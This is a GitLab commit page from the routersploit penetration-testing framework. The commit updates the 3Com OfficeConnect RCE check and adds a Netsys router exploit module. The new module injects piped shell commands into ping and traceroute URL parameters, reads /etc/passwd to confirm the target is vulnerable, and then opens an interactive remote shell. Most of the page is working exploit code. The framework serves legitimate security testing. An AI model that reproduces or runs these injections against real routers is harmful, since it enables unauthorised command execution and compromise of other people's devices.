Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
f5b7619f
Commit
f5b7619f
authored
Aug 10, 2016
by
fwkz
Browse files
Options
Browse Files
Download
Plain Diff
Merge branch 'master' of github.com:reverse-shell/routersploit
parents
9f7eb9a3
28438bcb
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
97 additions
and
4 deletions
+97
-4
officeconnect_rce.py
routersploit/modules/exploits/3com/officeconnect_rce.py
+8
-4
__init__.py
routersploit/modules/exploits/netsys/__init__.py
+0
-0
multi_rce.py
routersploit/modules/exploits/netsys/multi_rce.py
+89
-0
No files found.
routersploit/modules/exploits/3com/officeconnect_rce.py
View file @
f5b7619f
...
...
@@ -7,6 +7,7 @@ from routersploit import (
http_request
,
mute
,
validators
,
random_text
,
)
...
...
@@ -65,11 +66,14 @@ class Exploit(exploits.Exploit):
def
check
(
self
):
url
=
"{}:{}/utility.cgi?testType=1&IP=aaa"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
response
1
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
1
is
None
:
return
False
# target is not vulnerable
if
response
.
status_code
==
200
:
return
True
# target is vulnerable
if
response1
.
status_code
==
200
:
url
=
"{}:{}/{}.cgi"
.
format
(
self
.
target
,
self
.
port
,
random_text
(
32
))
response2
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response2
is
None
or
response1
.
text
!=
response2
.
text
:
return
True
# target is vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/netsys/__init__.py
0 → 100644
View file @
f5b7619f
routersploit/modules/exploits/netsys/multi_rce.py
0 → 100644
View file @
f5b7619f
import
re
from
routersploit
import
(
exploits
,
print_status
,
print_error
,
print_success
,
http_request
,
mute
,
validators
,
random_text
,
shell
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for Netsys multiple remote command execution vulnerabilities.
If the target is vulnerable it allows to execute commands on operating system level.
"""
__info__
=
{
'name'
:
'Netsys Multi RCE'
,
'description'
:
'Exploits Netsys multiple remote command execution vulnerabilities that allows executing commands on operating system level'
,
'authors'
:
[
'admin <admin[at]bbs.00wz.top>'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'http://bbs.00wz.top/forum.php?mod=viewthread&tid=12630'
,
],
'devices'
:
[
'Multiple Netsys'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
9090
,
'Target port'
)
# default port
injections
=
[
"/view/IPV6/ipv6networktool/traceroute/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|{}"
,
"/view/systemConfig/systemTool/ping/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|{}"
,
"/view/systemConfig/systemTool/traceRoute/traceroute.php?text_target=127.0.0.1&text_ageout=2&text_minttl=1&text_maxttl=1|{}"
]
valid
=
None
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target seems to be vulnerable"
)
print_status
(
"Invoking command loop..."
)
shell
(
self
,
architecture
=
"mipsel"
)
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
def
execute
(
self
,
cmd
):
marker
=
random_text
(
16
)
cmd
=
cmd
.
replace
(
" "
,
"+"
)
payload
=
"echo+{};{};echo+{};"
.
format
(
marker
,
cmd
,
marker
)
inj
=
self
.
valid
.
format
(
payload
)
url
=
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
inj
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
return
""
regexp
=
"{}(.+?){}"
.
format
(
marker
,
marker
)
res
=
re
.
findall
(
regexp
,
response
.
text
,
re
.
DOTALL
)
if
len
(
res
):
return
res
[
0
]
return
""
@mute
def
check
(
self
):
cmd
=
"cat+/etc/passwd;"
for
injection
in
self
.
injections
:
inj
=
injection
.
format
(
cmd
)
url
=
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
inj
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
continue
if
"root:"
in
response
.
text
:
self
.
valid
=
injection
return
True
# target is vulnerable
return
False
# target not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment